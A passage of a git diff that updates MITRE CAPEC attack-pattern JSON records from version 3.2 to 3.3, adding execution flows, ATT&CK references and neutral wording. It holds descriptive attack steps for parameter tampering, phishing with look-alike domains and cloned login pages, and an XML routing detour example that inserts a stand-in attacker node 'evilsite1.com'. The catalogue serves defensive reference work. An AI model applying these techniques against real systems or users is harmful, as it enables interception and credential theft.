    Use a sniffer to capture packets
    View source of web page to find hidden fields
    Examine URL to see if any opaque tokens are in it
    Disassemble or decompile client-side application
    Use debugging tools such as File Monitor, Registry Monitor, Debuggers, etc.

  2. Determine protection mechanism for opaque token: The attacker determines the protection mechanism used to protect the confidentiality and integrity of these data tokens. They may be obfuscated or a full blown encryption may be used.

    3. Techniques
    Look for signs of well-known character encodings
    Look for cryptographic signatures
    Look for delimiters or other indicators of structure

Experiment

  1. Modify parameter/token values: Trying each parameter in turn, the attacker modifies the values

    2. Techniques
    Modify tokens logically
    Modify tokens arithmetically
    Modify tokens bitwise
    Modify structural components of tokens
    Modify order of parameters/tokens

  2. Cycle through values for each parameter.: Depending on the nature of the application, the attacker now cycles through values of each parameter and observes the effects of this modification in the data returned by the server

    3. Techniques
    Use network-level packet injection tools such as netcat
    Use application-level data modification tools such as Tamper Data, WebScarab, TamperIE, etc.
    Use modified client (modified by reverse engineering)
    Use debugging tools to modify data in client
", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "An attacker already has some access to the system or can steal the client based data tokens from another user who has access to the system.", @@ -100,7 +101,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--9b939586-fbef-4343-94f0-0046124e3e7f.json b/capec/attack-pattern/attack-pattern--9b939586-fbef-4343-94f0-0046124e3e7f.json index 3e29ad9605..3c01c91272 100644 --- a/capec/attack-pattern/attack-pattern--9b939586-fbef-4343-94f0-0046124e3e7f.json +++ b/capec/attack-pattern/attack-pattern--9b939586-fbef-4343-94f0-0046124e3e7f.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--118e0de3-ab9c-4975-b3c3-81e3ab99ecec", + "id": "bundle--0bca51e7-94a6-47e8-967d-40e15f8c018e", "spec_version": "2.0", "objects": [ { @@ -8,9 +8,9 @@ "id": "attack-pattern--9b939586-fbef-4343-94f0-0046124e3e7f", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "XML Routing Detour Attacks", - "description": "An attacker subverts an intermediate system used to process XML content and forces the intermediate to modify and/or re-route the processing of the content. XML Routing Detour Attacks are Man in the Middle type attacks. The attacker compromises or inserts an intermediate system in the processing of the XML message. For example, WS-Routing can be used to specify a series of nodes or intermediaries through which content is passed. If any of the intermediate nodes in this route are compromised by an attacker they could be used for a routing detour attack. From the compromised system the attacker is able to route the XML process to other nodes of his or her choice and modify the responses so that the normal chain of processing is unaware of the interception. This system can forward the message to an outside entity and hide the forwarding and processing from the legitimate processing systems by altering the header information.", + "description": "An attacker subverts an intermediate system used to process XML content and forces the intermediate to modify and/or re-route the processing of the content. XML Routing Detour Attacks are Man in the Middle type attacks. The attacker compromises or inserts an intermediate system in the processing of the XML message. For example, WS-Routing can be used to specify a series of nodes or intermediaries through which content is passed. If any of the intermediate nodes in this route are compromised by an attacker they could be used for a routing detour attack. From the compromised system the attacker is able to route the XML process to other nodes of their choice and modify the responses so that the normal chain of processing is unaware of the interception. This system can forward the message to an outside entity and hide the forwarding and processing from the legitimate processing systems by altering the header information.", "external_references": [ { "source_name": "capec", @@ -75,8 +75,9 @@ ] }, "x_capec_example_instances": [ - "\n Here is an example SOAP call from a client, example1.com, to a target, example4.com, via 2 intermediaries, example2.com and example3.com. (note: The client here is not necessarily a 'end user client' but rather the starting point of the XML transaction).\n \n Example SOAP message with routing information in header:\n <S:Envelope> <S:Header> <m:path xmlns:m=\"http://schemas.example.com/rp/\" S:actor=\"http://schemas.example.com/soap/actor\" S:mustUnderstand=\"1\"> <m:action>http://example1.com/</m:action> <m:to>http://example4.com/router</m:to> <m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id> <m:fwd> <m:via>http://example2.com/router</m:via> </m:fwd> <m:rev /> </m:path> </S:Header> <S:Body> ... </S:Body> </S:Envelope>\n Add an additional node (example3.com/router) to the XML path in a WS-Referral message\n <r:ref xmlns:r=\"http://schemas.example.com/referral\"> <r:for> <r:prefix>http://example2.com/router</r:prefix> </r:for> <r:if/> <r:go> <r:via>http://example3.com/router</r:via> </r:go> </r:ref>\n \n \n Resulting in the following SOAP Header:<S:Envelope> <S:Header> <m:path xmlns:m=\"http://schemas.example.com/rp/\" S:actor=\"http://schemas.example.com/soap/actor\" S:mustUnderstand=\"1\"> <m:action>http://example1.com/</m:action> <m:to>http://example4.com/router</m:to> <m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id> <m:fwd> <m:via>http://example2.com/router</m:via> <m:via>http://example3.com/router</m:via> </m:fwd> <m:rev /> </m:path> </S:Header> <S:Body>...</S:Body> </S:Envelope>\n In the following example, the attacker injects a bogus routing node (using a WS-Referral service) into the routing table of the XML header but not access the message directly on the initiator/intermediary node that he/she has targeted.\n \n Example of WS-Referral based WS-Routing injection of the bogus node route:<r:ref xmlns:r=\"http://schemas.example.com/referral\"> <r:for> <r:prefix>http://example2.com/router</r:prefix> </r:for> <r:if/> <r:go> <r:via>http://evilsite1.com/router</r:via> </r:go> </r:ref>\n \n Resulting XML Routing Detour attack:<S:Envelope> <S:Header> <m:path xmlns:m=\"http://schemas.example.com/rp/\" S:actor=\"http://schemas.example.com/soap/actor\" S:mustUnderstand=\"1\"> <m:action>http://example_0.com/</m:action> <m:to>http://example_4.com/router</m:to> <m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id> <m:fwd> <m:via>http://example2.com/router</m:via> <m:via>http://evilesite1.com/router</m:via> <m:via>http://example3.com/router</m:via> </m:fwd> <m:rev /> </m:path> </S:Header> <S:Body> ... </S:Body> </S:Envelope>\n Thus, the attacker can route the XML message to the attacker controlled node (and access to the message contents).\n " + "\n Here is an example SOAP call from a client, example1.com, to a target, example4.com, via 2 intermediaries, example2.com and example3.com. (note: The client here is not necessarily a 'end user client' but rather the starting point of the XML transaction).\n \n Example SOAP message with routing information in header:\n <S:Envelope> <S:Header> <m:path xmlns:m=\"http://schemas.example.com/rp/\" S:actor=\"http://schemas.example.com/soap/actor\" S:mustUnderstand=\"1\"> <m:action>http://example1.com/</m:action> <m:to>http://example4.com/router</m:to> <m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id> <m:fwd> <m:via>http://example2.com/router</m:via> </m:fwd> <m:rev /> </m:path> </S:Header> <S:Body> ... </S:Body> </S:Envelope>\n Add an additional node (example3.com/router) to the XML path in a WS-Referral message\n <r:ref xmlns:r=\"http://schemas.example.com/referral\"> <r:for> <r:prefix>http://example2.com/router</r:prefix> </r:for> <r:if/> <r:go> <r:via>http://example3.com/router</r:via> </r:go> </r:ref>\n \n \n Resulting in the following SOAP Header:<S:Envelope> <S:Header> <m:path xmlns:m=\"http://schemas.example.com/rp/\" S:actor=\"http://schemas.example.com/soap/actor\" S:mustUnderstand=\"1\"> <m:action>http://example1.com/</m:action> <m:to>http://example4.com/router</m:to> <m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id> <m:fwd> <m:via>http://example2.com/router</m:via> <m:via>http://example3.com/router</m:via> </m:fwd> <m:rev /> </m:path> </S:Header> <S:Body>...</S:Body> </S:Envelope>\n In the following example, the attacker injects a bogus routing node (using a WS-Referral service) into the routing table of the XML header but not access the message directly on the initiator/intermediary node that they have targeted.\n \n Example of WS-Referral based WS-Routing injection of the bogus node route:<r:ref xmlns:r=\"http://schemas.example.com/referral\"> <r:for> <r:prefix>http://example2.com/router</r:prefix> </r:for> <r:if/> <r:go> <r:via>http://evilsite1.com/router</r:via> </r:go> </r:ref>\n \n Resulting XML Routing Detour attack:<S:Envelope> <S:Header> <m:path xmlns:m=\"http://schemas.example.com/rp/\" S:actor=\"http://schemas.example.com/soap/actor\" S:mustUnderstand=\"1\"> <m:action>http://example_0.com/</m:action> <m:to>http://example_4.com/router</m:to> <m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id> <m:fwd> <m:via>http://example2.com/router</m:via> <m:via>http://evilesite1.com/router</m:via> <m:via>http://example3.com/router</m:via> </m:fwd> <m:rev /> </m:path> </S:Header> <S:Body> ... </S:Body> </S:Envelope>\n Thus, the attacker can route the XML message to the attacker controlled node (and access to the message contents).\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Survey the target: Using command line or an automated tool, an attacker records all instances of web services to process XML requests.

    2. Techniques
    Use automated tool to record all instances to process XML requests or find exposed WSDL.
    Use tools to crawl WSDL

Experiment

  1. Identify SOAP messages that have multiple state processing.: Inspect instance to see whether the XML processing has multiple stages or not.

    2. Techniques
    Inspect the SOAP message routing head to see whether the XML processing has multiple stages or not.

Exploit

  1. Launch an XML routing detour attack: The attacker injects a bogus routing node (using a WS-Referral service) into the routing table of the XML header of the SOAP message identified in the Explore phase. Thus, the attacker can route the XML message to the attacker controlled node (and access the message contents).

    2. Techniques
    The attacker injects a bogus routing node (using a WS-Referral service) into the routing table of the XML header of the SOAP message
", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "The targeted system must have multiple stages processing of XML content." @@ -89,7 +90,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--9c41b3f7-76fa-4864-9b1d-304327dcd55c.json b/capec/attack-pattern/attack-pattern--9c41b3f7-76fa-4864-9b1d-304327dcd55c.json index b0fcc59c38..e52f5baac4 100644 --- a/capec/attack-pattern/attack-pattern--9c41b3f7-76fa-4864-9b1d-304327dcd55c.json +++ b/capec/attack-pattern/attack-pattern--9c41b3f7-76fa-4864-9b1d-304327dcd55c.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--da879c7d-2000-410e-aac8-8ff0fcd870f7", + "id": "bundle--4ade6acb-cccf-4af7-aee4-a7cd76d16959", "spec_version": "2.0", "objects": [ { @@ -63,7 +63,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--9c520f01-d8ec-425f-90ef-41422cfe083e.json b/capec/attack-pattern/attack-pattern--9c520f01-d8ec-425f-90ef-41422cfe083e.json index 8e2cf0b3eb..ac309567d4 100644 --- a/capec/attack-pattern/attack-pattern--9c520f01-d8ec-425f-90ef-41422cfe083e.json +++ b/capec/attack-pattern/attack-pattern--9c520f01-d8ec-425f-90ef-41422cfe083e.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--615cb1cc-f579-4f7d-bdf2-dff1d6b917fa", + "id": "bundle--db4b7162-7e5e-4ccc-a1d3-adf0becf5d21", "spec_version": "2.0", "objects": [ { @@ -72,7 +72,7 @@ }, "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--9c983530-1927-43ca-addd-63d149cda4a7.json b/capec/attack-pattern/attack-pattern--9c983530-1927-43ca-addd-63d149cda4a7.json index da6bb95ff7..c177936e7d 100644 --- a/capec/attack-pattern/attack-pattern--9c983530-1927-43ca-addd-63d149cda4a7.json +++ b/capec/attack-pattern/attack-pattern--9c983530-1927-43ca-addd-63d149cda4a7.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--a0561703-574c-471d-9993-b7d12f9cce82", + "id": "bundle--54b193e6-d79e-4442-80d8-7a77ed8f4c95", "spec_version": "2.0", "objects": [ { @@ -35,7 +35,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--9ca34308-a8e4-40b6-becd-3ff95bac628a.json b/capec/attack-pattern/attack-pattern--9ca34308-a8e4-40b6-becd-3ff95bac628a.json index 13e07d5006..da71db9a87 100644 --- a/capec/attack-pattern/attack-pattern--9ca34308-a8e4-40b6-becd-3ff95bac628a.json +++ b/capec/attack-pattern/attack-pattern--9ca34308-a8e4-40b6-becd-3ff95bac628a.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--ba9c1df1-27bf-4bcb-93a1-81de20d47af7", + "id": "bundle--40cfa975-258f-4337-aeac-074f2970fe2c", "spec_version": "2.0", "objects": [ { @@ -22,6 +22,12 @@ "url": "http://cwe.mitre.org/data/definitions/200.html", "external_id": "CWE-200" }, + { + "source_name": "ATTACK", + "description": "Network Service Scanning", + "url": "https://attack.mitre.org/wiki/Technique/T1046", + "external_id": "T1046" + }, { "source_name": "reference_from_CAPEC", "description": "Stuart McClure, Joel Scambray, George Kurtz, Hacking Exposed: Network Security Secrets & Solutions (6th Edition), 2009, McGraw Hill", @@ -78,7 +84,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--9d076056-3719-4afc-94f4-5d16aaee50a3.json b/capec/attack-pattern/attack-pattern--9d076056-3719-4afc-94f4-5d16aaee50a3.json index d8b08fc703..afb21c6d47 100644 --- a/capec/attack-pattern/attack-pattern--9d076056-3719-4afc-94f4-5d16aaee50a3.json +++ b/capec/attack-pattern/attack-pattern--9d076056-3719-4afc-94f4-5d16aaee50a3.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--80ce350d-7e1b-4d80-829a-eef0d1c1e0ad", + "id": "bundle--96c56317-e760-43bc-90cb-e4b92c22d080", "spec_version": "2.0", "objects": [ { @@ -21,6 +21,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/284.html", "external_id": "CWE-284" + }, + { + "source_name": "ATTACK", + "description": "Taint shared content", + "url": "https://attack.mitre.org/wiki/Technique/T1080", + "external_id": "T1080" } ], "object_marking_refs": [ @@ -28,7 +34,7 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--9d08b257-08f6-42e3-ad7e-41aaf07789a1.json b/capec/attack-pattern/attack-pattern--9d08b257-08f6-42e3-ad7e-41aaf07789a1.json index 4a8759913d..2c4776107e 100644 --- a/capec/attack-pattern/attack-pattern--9d08b257-08f6-42e3-ad7e-41aaf07789a1.json +++ b/capec/attack-pattern/attack-pattern--9d08b257-08f6-42e3-ad7e-41aaf07789a1.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--61c23155-893c-4853-8b17-9c26aefc4219", + "id": "bundle--f1ea5e5e-36b0-4143-b767-6811b8769b56", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--9d08b257-08f6-42e3-ad7e-41aaf07789a1", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Identify Shared Files/Directories on System", "description": "An adversary discovers connections between systems by exploiting the target system's standard practice of revealing them in searchable, common areas. Through the identification of shared folders/drives between systems, the adversary may further their goals of locating and collecting sensitive information/files, or map potential routes for lateral movement within the network.", "external_references": [ @@ -26,6 +26,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/200.html", "external_id": "CWE-200" + }, + { + "source_name": "ATTACK", + "description": "Network Share Discovery", + "url": "https://attack.mitre.org/wiki/Technique/T1135", + "external_id": "T1135" } ], "object_marking_refs": [ @@ -45,11 +51,11 @@ "None: No specialized resources are required to execute this type of attack." ], "x_capec_skills_required": { - "Low": "Once the adversary has logical access (which can potentially require high knowledge and skill level), the adversary needs only the capability and facility to navigate the system through the OS graphical user interface or the command line. The adversary, or his malware, can simply employ a set of commands that search for shared drives on the system (e.g., net view \\\\remote system or net share)." + "Low": "Once the adversary has logical access (which can potentially require high knowledge and skill level), the adversary needs only the capability and facility to navigate the system through the OS graphical user interface or the command line. The adversary, or their malware, can simply employ a set of commands that search for shared drives on the system (e.g., net view \\\\remote system or net share)." }, "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--9d8a9dc3-5115-43c3-a5ec-8003e7b97b2e.json b/capec/attack-pattern/attack-pattern--9d8a9dc3-5115-43c3-a5ec-8003e7b97b2e.json index 97846b59f5..8037618770 100644 --- a/capec/attack-pattern/attack-pattern--9d8a9dc3-5115-43c3-a5ec-8003e7b97b2e.json +++ b/capec/attack-pattern/attack-pattern--9d8a9dc3-5115-43c3-a5ec-8003e7b97b2e.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--38cf0df2-43b1-4321-b4f4-3d6dc59aafdd", + "id": "bundle--e3ff1efd-d4cf-4047-8bad-ffa47580cbea", "spec_version": "2.0", "objects": [ { @@ -37,7 +37,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--9dded599-dd66-4a4c-8f17-6afb81c234f8.json b/capec/attack-pattern/attack-pattern--9dded599-dd66-4a4c-8f17-6afb81c234f8.json index 2a7ff6114c..adf3d71fce 100644 --- a/capec/attack-pattern/attack-pattern--9dded599-dd66-4a4c-8f17-6afb81c234f8.json +++ b/capec/attack-pattern/attack-pattern--9dded599-dd66-4a4c-8f17-6afb81c234f8.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--10f5a666-c809-4530-bd9c-6dbb751ab734", + "id": "bundle--5c96eba2-01d4-46b2-be99-535603eb1598", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--9dded599-dd66-4a4c-8f17-6afb81c234f8", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Cryptanalysis of Cellular Encryption", "description": "The use of cryptanalytic techniques to derive cryptographic keys or otherwise effectively defeat cellular encryption to reveal traffic content. Some cellular encryption algorithms such as A5/1 and A5/2 (specified for GSM use) are known to be vulnerable to such attacks and commercial tools are available to execute these attacks and decrypt mobile phone conversations in real-time. Newer encryption algorithms in use by UMTS and LTE are stronger and currently believed to be less vulnerable to these types of attacks. Note, however, that an attacker with a Cellular Rogue Base Station can force the use of weak cellular encryption even by newer mobile devices.", "external_references": [ @@ -40,7 +40,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--9df3addd-7bea-44e5-be63-4cc46d64fbea.json b/capec/attack-pattern/attack-pattern--9df3addd-7bea-44e5-be63-4cc46d64fbea.json index 839ae6ccf2..202ae7740c 100644 --- a/capec/attack-pattern/attack-pattern--9df3addd-7bea-44e5-be63-4cc46d64fbea.json +++ b/capec/attack-pattern/attack-pattern--9df3addd-7bea-44e5-be63-4cc46d64fbea.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--081375ec-90e5-487a-9af2-b889b17cea93", + "id": "bundle--8f40a08b-c528-4712-a50e-75bb046b4b87", "spec_version": "2.0", "objects": [ { @@ -60,7 +60,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--9e487767-c1e6-45f9-ae01-1fb1e2d6f030.json b/capec/attack-pattern/attack-pattern--9e487767-c1e6-45f9-ae01-1fb1e2d6f030.json index 1cc0b1609a..1afb16ae7e 100644 --- a/capec/attack-pattern/attack-pattern--9e487767-c1e6-45f9-ae01-1fb1e2d6f030.json +++ b/capec/attack-pattern/attack-pattern--9e487767-c1e6-45f9-ae01-1fb1e2d6f030.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--65545848-1908-42ab-8c88-5630df3cebaf", + "id": "bundle--f330cc5a-b62c-4fe9-86ac-974c832316c4", "spec_version": "2.0", "objects": [ { @@ -48,7 +48,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--9f1d96c7-fcc8-4708-b98d-23f1fd86e07b.json b/capec/attack-pattern/attack-pattern--9f1d96c7-fcc8-4708-b98d-23f1fd86e07b.json index 21ca4352bc..202f76bac2 100644 --- a/capec/attack-pattern/attack-pattern--9f1d96c7-fcc8-4708-b98d-23f1fd86e07b.json +++ b/capec/attack-pattern/attack-pattern--9f1d96c7-fcc8-4708-b98d-23f1fd86e07b.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--b8aad5be-2a68-4c9a-aafb-26fdd3d79e90", + "id": "bundle--66e6e998-3246-48e1-8f19-26a44a59f276", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--9f1d96c7-fcc8-4708-b98d-23f1fd86e07b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Hijacking a privileged process", "description": "An attacker gains control of a process that is assigned elevated privileges in order to execute arbitrary code with those privileges. Some processes are assigned elevated privileges on an operating system, usually through association with a particular user, group, or role. If an attacker can hijack this process, they will be able to assume its level of privilege in order to execute their own code. Processes can be hijacked through improper handling of user input (for example, a buffer overflow or certain types of injection attacks) or by utilizing system utilities that support process control that have been inadequately secured.", "external_references": [ @@ -26,6 +26,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/648.html", "external_id": "CWE-648" + }, + { + "source_name": "ATTACK", + "description": "Hijack Execution Flow:Executable Installer File Permissions Weakness", + "url": "https://attack.mitre.org/wiki/Technique/T1574/005", + "external_id": "T1574.005" } ], "object_marking_refs": [ @@ -40,7 +46,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--a00c2cc2-bd4f-4594-9ec1-b021b62ac896.json b/capec/attack-pattern/attack-pattern--a00c2cc2-bd4f-4594-9ec1-b021b62ac896.json index 8102fa09dd..c6503a6ba1 100644 --- a/capec/attack-pattern/attack-pattern--a00c2cc2-bd4f-4594-9ec1-b021b62ac896.json +++ b/capec/attack-pattern/attack-pattern--a00c2cc2-bd4f-4594-9ec1-b021b62ac896.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--d6fbead7-bc93-4301-b0db-c20ffc0602a8", + "id": "bundle--87ad8bac-6dc7-435e-8c8b-3afc57e96000", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--a00c2cc2-bd4f-4594-9ec1-b021b62ac896", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Phishing", "description": "Phishing is a social engineering technique where an attacker masquerades as a legitimate entity with which the victim might do business in order to prompt the user to reveal some confidential information (very frequently authentication credentials) that can later be used by an attacker. Phishing is essentially a form of information gathering or \"fishing\" for information.", "external_references": [ @@ -16,6 +16,12 @@ "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/98.html", "external_id": "CAPEC-98" + }, + { + "source_name": "ATTACK", + "description": "Phishing", + "url": "https://attack.mitre.org/wiki/Technique/T1566", + "external_id": "T1566" } ], "object_marking_refs": [ @@ -38,8 +44,9 @@ ] }, "x_capec_example_instances": [ - "John gets an official looking e-mail from his bank stating that his or her account has been temporarily locked due to suspected unauthorized activity and that John needs to click on the link included in the e-mail to log in to his bank account in order to unlock it. The link in the e-mail looks very similar to that of his bank and once the link is clicked, the log in page is the exact replica. John supplies his login credentials after which he is notified that his account has now been unlocked and that everything is fine. An attacker has just collected John's online banking information which can now be used by him or her to log into John's bank account and transfer John's money to a bank account of the attackers' choice." + "The target gets an official looking e-mail from their bank stating that their their account has been temporarily locked due to suspected unauthorized activity and that they need to click on the link included in the e-mail to log in to their bank account in order to unlock it. The link in the e-mail looks very similar to that of their bank and once the link is clicked, the log in page is the exact replica. The target supplies their login credentials after which they are notified that their account has now been unlocked and that everything is fine. An attacker has just collected the target's online banking information which can now be used by the attacker to log into the target's bank account and transfer money to a bank account of the attackers' choice." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Obtain domain name and certificate to spoof legitimate site: This optional step can be used to help the attacker impersonate the legitimate site more convincingly. The attacker can use homograph attacks to convince users that they are using the legitimate website. Note that this step is not required for phishing attacks, and many phishing attacks simply supply URLs containing an IP address and no SSL certificate.

    2. Techniques
    Optionally obtain a domain name that visually looks similar to the legitimate site's domain name. An example is www.paypaI.com vs. www.paypal.com (the first one contains a capital i, instead of a lower case L)
    Optionally obtain a legitimate SSL certificate for the new domain name.

  2. Explore legitimate website and create duplicate: An attacker creates a website (optionally at a URL that looks similar to the original URL) that closely resembles the website that they are trying to impersonate. That website will typically have a login form for the victim to put in their authentication credentials. There can be different variations on a theme here.

    3. Techniques
    Use spidering software to get copy of web pages on legitimate site.
    Manually save copies of required web pages from legitimate site.
    Create new web pages that have the legitimate site's look at feel, but contain completely new content.

Exploit

  1. Convince user to enter sensitive information on attacker's site.: An attacker sends an e-mail to the victim that has some sort of a call to action to get the user to click on the link included in the e-mail (which takes the victim to attacker's website) and log in. The key is to get the victim to believe that the e-mail is coming from a legitimate entity with which the victim does business and that the website pointed to by the URL in the e-mail is the legitimate website. A call to action will usually need to sound legitimate and urgent enough to prompt action from the user.

    2. Techniques
    Send the user a message from a spoofed legitimate-looking e-mail address that asks the user to click on the included link.
    Place phishing link in post to online forum.

  2. Use stolen credentials to log into legitimate site: Once the attacker captures some sensitive information through phishing (login credentials, credit card information, etc.) the attacker can leverage this information. For instance, the attacker can use the victim's login credentials to log into their bank account and transfer money to an account of their choice.

    3. Techniques
    Log in to the legitimate site using another user's supplied credentials
", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "An attacker needs to have a way to initiate contact with the victim. Typically that will happen through e-mail.", @@ -55,7 +62,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--a0fc32ad-ef32-44d5-9937-5968f5e7b78c.json b/capec/attack-pattern/attack-pattern--a0fc32ad-ef32-44d5-9937-5968f5e7b78c.json index 35a9c03404..a30ecc8736 100644 --- a/capec/attack-pattern/attack-pattern--a0fc32ad-ef32-44d5-9937-5968f5e7b78c.json +++ b/capec/attack-pattern/attack-pattern--a0fc32ad-ef32-44d5-9937-5968f5e7b78c.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--138137a5-3fd4-4afe-871e-e9c685ebb702", + "id": "bundle--716e79ed-5040-4244-936c-dab857ca430b", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--a0fc32ad-ef32-44d5-9937-5968f5e7b78c", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Try All Common Switches", "description": "An attacker attempts to invoke all common switches and options in the target application for the purpose of discovering weaknesses in the target. For example, in some applications, adding a --debug switch causes debugging information to be displayed, which can sometimes reveal sensitive processing or configuration information to an attacker. This attack differs from other forms of API abuse in that the attacker is blindly attempting to invoke options in the hope that one of them will work rather than specifically targeting a known option. Nonetheless, even if the attacker is familiar with the published options of a targeted application this attack method may still be fruitful as it might discover unpublicized functionality.", "external_references": [ @@ -35,7 +35,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--a15ef978-f79c-4a64-8c63-8ab413d42b0f.json b/capec/attack-pattern/attack-pattern--a15ef978-f79c-4a64-8c63-8ab413d42b0f.json index 14eed5d4b4..5bba833ac1 100644 --- a/capec/attack-pattern/attack-pattern--a15ef978-f79c-4a64-8c63-8ab413d42b0f.json +++ b/capec/attack-pattern/attack-pattern--a15ef978-f79c-4a64-8c63-8ab413d42b0f.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--d607e3de-b487-4416-aeab-f8f230015472", + "id": "bundle--4e06281d-ce38-43f6-8a61-739ccb4e6135", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--a15ef978-f79c-4a64-8c63-8ab413d42b0f", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Reusing Session IDs (aka Session Replay)", "description": "This attack targets the reuse of valid 